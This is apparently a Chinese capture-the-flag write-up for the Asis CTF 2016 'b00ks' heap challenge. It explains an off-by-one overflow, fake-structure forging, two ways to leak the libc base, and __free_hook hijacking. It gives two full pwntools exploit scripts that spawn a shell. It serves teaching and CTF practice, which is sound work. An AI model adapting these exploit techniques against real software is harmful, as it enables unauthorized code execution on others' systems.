【Asis CTF 2016】b00ks
收获
利用 off-by-one 漏洞修改指向堆的指针,并在修改后的指针指向的堆地址处伪造一个堆块
利用
mmap
分配的内存与 libc 之前存在固定的偏移的特点,推算出 libc 的基地址由于
unsorted bin
是双向链表,利用第一个unsorted bin
的bk
指针指向 libc 中的地址的特点,根据偏移得到__malloc_hook
真实地址,进而通过__malloc_hook
的 libc 偏移计算 libc 基地址通过劫持
__free_hook
为system()
或 one_gadget 来获得 shell
思路一(mmap)
本地环境:Glibc 2.23
查看保护:
IDA 下分析:
一个菜单题,根据功能选项,将相应功能的函数重命名
Menu()
菜单:
Create()
创建:
Delete()
删除:
Edit()
编辑:
Print()
打印:
Change()
修改作者名:
程序在刚开始执行 Menu()
显示菜单之前,会在 Change()
中先让输入作者名 author name
:
这里的输入由自定义的 my_read()
实现:
仔细观察 my_read()
可以发现,这里是存在漏洞的:如果我们输入的字符串长度 a2 = 1
,实际上会读入 2 个字符,第二个字符 '\n'
会被赋值为 '\x00'
作者名 author name
写入的地址位于 BSS 段的 unk_202040
:
在 Create()
中创建书时,如果已存在的书的数量 v2 < 20
(未存满),会通过 malloc
分配 0x20 的空间来存放书的结构
并将 malloc
分配的空间首地址存储在 off_202010 + v2
的地方,可以看到其存放在 BSS 段的 unk_202060
处:
分析可知,书的结构包括:
- 书的序号
book_id
- 书名
name
- 书的描述
description
- 书的描述的大小
size
为了方便理解,用图表示出来就是这样:
上图中,橙色区域存储作者名 author name
,绿色区域存储的是书的数组 book[]
有多少本书就有多少个
book[]
数组元素,book[]
的每一个数组元素都是一个指针,指向堆中的一个结构体这个结构体有四个属性:书的序号
book_id
、书名name
、书的描述description
和书的描述的大小size
由于这里 unk_202040
和 unk_202060
刚好相距 0x20,因此 my_read(off_202018, 32LL)
处存在 off-by-one 漏洞,刚好溢出 1 字节
为了泄露出堆中的地址,可以借助存储在 unk_202060
中的指针,而在 Print()
中会将 unk_202040
处存储的 author name
通过 %s
打印出来:
因此,我们首先向 unk_202040
写入 0x20 个字节,将空间全部填满,这样就不存在 '\x00'
截断,由于 my_read()
还会多写入 1 字节 '\x00'
覆盖 book[0]
的最低位,但是不影响,因为当我们创建 book[0]
的时候多出的那 1 字节 '\x00'
又会被 book[0]
存储的指针给覆盖掉
当我们创建好 book[0]
后,此时 unk_202040
与 book[0]
是直接相连的,中间不存在 '\x00'
截断,因此我们只需要调用一次 Print()
就可以泄露出 book[0]
存储的指针
创建两本书进行测试,发现两个 book[]
存储的指针之间的偏移是 0x30:
堆中的存储结构如下:
因此根据 book[0]
存储的指针我们可以推算出 book[1]
存储的指针,即:book[1] = book[0] + 0x30
由于这个题开启了 PIE,我们暂时无法泄露 libc 的基地址
但发现 Create()
创建书的时候,大小是由我们控制的:
因此我们可以让堆以 mmap
模式进行拓展,即:设定一个很大的尺寸(大于等于 128KB
),创建一个 book[1]
因为
brk
是直接拓展原来的堆,而mmap
会单独映射一块内存
mmap
分配的内存与 libc 之前存在固定的偏移,因此可以推算出 libc 的基地址
由于我们还可以再次使用 Change()
功能来写入作者名 author name
,此时如果写入 0x20 字节,则溢出的一字节 '\x00'
会直接将已有的 book[0]
存储的指针最低位覆盖掉,从而改变了 book[0]
指向堆中的地址
可以看到,原本 book[0]
存储的指针最低位为 '\x60'
,此时已被覆盖为 '\x00'
进而我们可以通过 Edit()
功能修改 book[0] -> description
的内容来伪造 book[0]
的结构体,此时伪造的 book[0] -> name
和 book[0] -> description
都可以由我们来定义
注意:
由于我们覆盖了原本
book[0]
存储的指针最低位为'\x00'
,因此伪造的book[0]
结构体首地址应该在地址最低位为'\x00'
的地方,偏移为 0x40,因此先填充 0x40 的垃圾数据
伪造前:
伪造后:
这里我们将伪造的 book[0] -> name
和 book[0] -> description
都设置为 book[1]
的 book[1] -> name
的地址
因为此时我们只要能泄露 book[1] -> name
就可以通过 book[1] -> name
与 libc 基地址的偏移来计算出 libc 基地址了
通过 GDB 得到 book[1] -> name
与 libc 基地址的偏移为 0x5b0010
:
利用 (book[1] -> name) - 0x5b0010
泄露出 libc 基地址后,直接劫持 __free_hook
为 system()
地址,然后通过 Delete()
功能调用 free()
实现 system(/bin/sh)
也可以直接劫持 __free_hook
为 one_gadget 来 getshell
脚本一
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./b00ks")
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def Create(name_size, name, des_size, des):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil(": ")
io.sendline(str(name_size))
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(": ")
io.sendline(str(des_size))
io.recvuntil(": ")
io.sendline(des)
def Delete(book_id):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil(": ")
io.sendline(str(book_id))
def Edit(book_id, new_des):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(book_id))
io.recvuntil(": ")
io.sendline(new_des)
def Print():
io.recvuntil("> ")
io.sendline("4")
def Change(name):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(b'Enter author name: ')
payload = b'a' * 0x20
io.sendline(payload) # 将 author name 的空间填充满,使其不存在 '\x00'
Create(0x90, b'bbbb', 0x90, b'cccc')
Print()
io.recvuntil(b'a' * 0x20)
book1_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('book1_addr -> ' + hex(book1_addr))
book2_addr = book1_addr + 0x30 # 根据调试可知,两个堆块之间的偏移为 0x30
log.success('book2_addr -> ' + hex(book2_addr))
Create(0x21000, b'cccc', 0x21000, b'dddd') # 以 mmap 方式创建堆块
payload = b'a' * 0x40 + p64(1) + p64(book2_addr + 8) + p64(book2_addr + 8) + p64(0x1000)
Edit(1, payload) # 伪造 book[0]
# debug()
Change(b'a' * 0x20) # 覆盖 book[0] 的最低位,改变其指向的地址为伪造的 book[0]
Print()
io.recvuntil('Name: ')
book2_name_addr = u64(io.recv(6).ljust(8, b'\x00')) # 泄露出 book[1] -> name
log.success('book2_name_addr -> ' + hex(book2_name_addr))
libc_base = book2_name_addr - 0x5b0010 # 根据偏移计算 libc 基地址
log.success('libc_base -> ' + hex(libc_base))
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget_addr = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247
log.success('free_hook_addr -> ' + hex(free_hook_addr))
log.success('system_addr -> ' + hex(system_addr))
log.success('bin_sh_addr -> ' + hex(bin_sh_addr))
log.success('one_gadget_addr -> ' + hex(one_gadget_addr))
# system(/bin/sh) 和 one_gadget 选其一即可
Edit(1, p64(bin_sh_addr) + p64(free_hook_addr))
Edit(2, p64(system_addr))
# Edit(1, p64(0) + p64(free_hook_addr))
# Edit(2, p64(one_gadget_addr))
Delete(2)
io.interactive()
结果一
思路二(unsorted bin)
本地环境:Glibc 2.23
根据前面的分析我们知道,关键在于如何泄露 libc 的基地址
在思路一中,通过 mmap
方式分配的堆地址与 libc 基地址存在固定的偏移,根据这个固定偏移来计算 libc 基地址
另一种方法就是利用 unsorted bin
的特点来泄露 libc 基地址
因为
unsorted bin
是双向链表,所以第一个unsorted bin
的bk
也就指向了bin[1]
如果我们能够打印出第一个
unsorted bin
的bk
,也就相当于得到了bins[1]
地址,而bins[1]
在 libc 中,也就可以根据偏移计算 libc 基地址
而关键在于:得到一个 unsorted bin
我们知道,当 free
的 chunk
大小 >= 144 字节时,chunk
会放到 unsorted bin
中
因此,我们需要先创建第二本书,使其 chunk
的大小在 free
的时候大于 144 字节,这本书在后面是需要被 free
形成 unsorted bin
的,所以我们再创建第三本书,写入 '/bin/sh'
创建三本书后如下:
接着还是通过 Edit()
功能伪造一个 book[0]
这次伪造的
book[0] -> name
指向即将free
后形成的unsorted bin
的bk
地址(注意:图中和脚本中实际指向的是fd
地址,但由于这里只存在一个 unsorted bin,因此fd
与bk
指向同一地址,故不影响)为了便于劫持
__free_hook
为system()
,我们将伪造的book[0] -> description
指向book[2]
的description
这样我们通过
Edit(1, p64(free_hook_addr) + p64(0x10))
修改book[0]
的description
的时候,就可以将book[2] -> description
修改为__free_hook
然后再通过
Edit(3, p64(system_addr))
修改book[2]
的description
的时候,就可以将__free_hook
修改为system()
伪造好 book[0]
后,通过 Change()
功能填充 0x20 字节,溢出 1 字节 '\x00'
覆盖 book[0]
指针的最低位,使其指向我们伪造的 book[0]
然后 free
掉 book[1]
后形成 unsorted bin
:
可以看到 bk
和 fd
指向的是同一个地址,打印其中之一即可
通过 Print()
功能在 Name
处打印出了 fd
、bk
指针
通过 GDB 可以看到 fd
、bk
指针指向的地址为 main_arena + 88
处
同时 main_arena
与 __malloc_hook
相距 0x10
因此根据偏移可以获得 __malloc_hook
的真实地址,而 __malloc_hook
是 libc 中的函数,根据 libc 偏移即可获得 libc 基地址
最后,利用前面提到的两次 Edit()
劫持 __free_hook
为 system()
- 第一次
Edit()
将book[2] -> description
修改为__free_hook
:
- 第二次
Edit()
将__free_hook
修改为system()
:
然后通过 Delete()
调用 free
执行 system(/bin/sh)
脚本二
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./b00ks")
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def Create(name_size, name, des_size, des):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil(": ")
io.sendline(str(name_size))
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(": ")
io.sendline(str(des_size))
io.recvuntil(": ")
io.sendline(des)
def Delete(book_id):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil(": ")
io.sendline(str(book_id))
def Edit(book_id, new_des):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(book_id))
io.recvuntil(": ")
io.sendline(new_des)
def Print():
io.recvuntil("> ")
io.sendline("4")
def Change(name):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(b'Enter author name: ')
payload = b'a' * 0x20
io.sendline(payload)
Create(0x90, b'bbbb', 0x90, b'cccc')
Print()
io.recvuntil(b'a' * 0x20)
book1_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('book1_addr -> ' + hex(book1_addr))
book2_addr = book1_addr + 0x30
log.success('book2_addr -> ' + hex(book2_addr))
Create(0x80, b'cccc', 0x20, b'dddd') # 为 unsorted bin 做准备
Create(0x20, b'/bin/sh\x00', 0x20, b'ffff') # 存放 '/bin/sh'
payload = b'a' * 0x40 + p64(1) + p64(book2_addr) + p64(book2_addr + 0x160) + p64(0x20)
Edit(1, payload) # 伪造 book[0]
Change(b'a' * 0x20) # 覆盖 book[0] 的最低位,改变其指向的地址为伪造的 book[0]
Delete(2) # 形成 unsorted bin
Print() # 泄露 unsorted bin 的 bk 指针
io.recvuntil('Name: ')
main_arena_88 = u64(io.recv(6).ljust(8, b'\x00'))
main_arena_addr = main_arena_88 - 88
malloc_hook_addr = main_arena_addr - 0x10 # 根据偏移得到 __malloc_hook 真实地址
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook'] # 得到 libc 基地址
log.success('main_arena_88 -> ' + hex(main_arena_88))
log.success('main_arena_addr -> ' + hex(main_arena_addr))
log.success('malloc_hook_addr -> ' + hex(malloc_hook_addr))
log.success('libc_base -> ' + hex(libc_base))
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget_addr = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247
log.success('free_hook_addr -> ' + hex(free_hook_addr))
log.success('system_addr -> ' + hex(system_addr))
log.success('bin_sh_addr -> ' + hex(bin_sh_addr))
log.success('one_gadget_addr -> ' + hex(one_gadget_addr))
Edit(1, p64(free_hook_addr) + p64(0x10)) # 将 book3 -> description 修改为 __free_hook
Edit(3, p64(system_addr)) # 将 __free_hook 修改为 system()
# Edit(3, p64(one_gadget_addr)) # system(/bin/sh) 与 one_gadget 选其一即可
Delete(3)
io.interactive()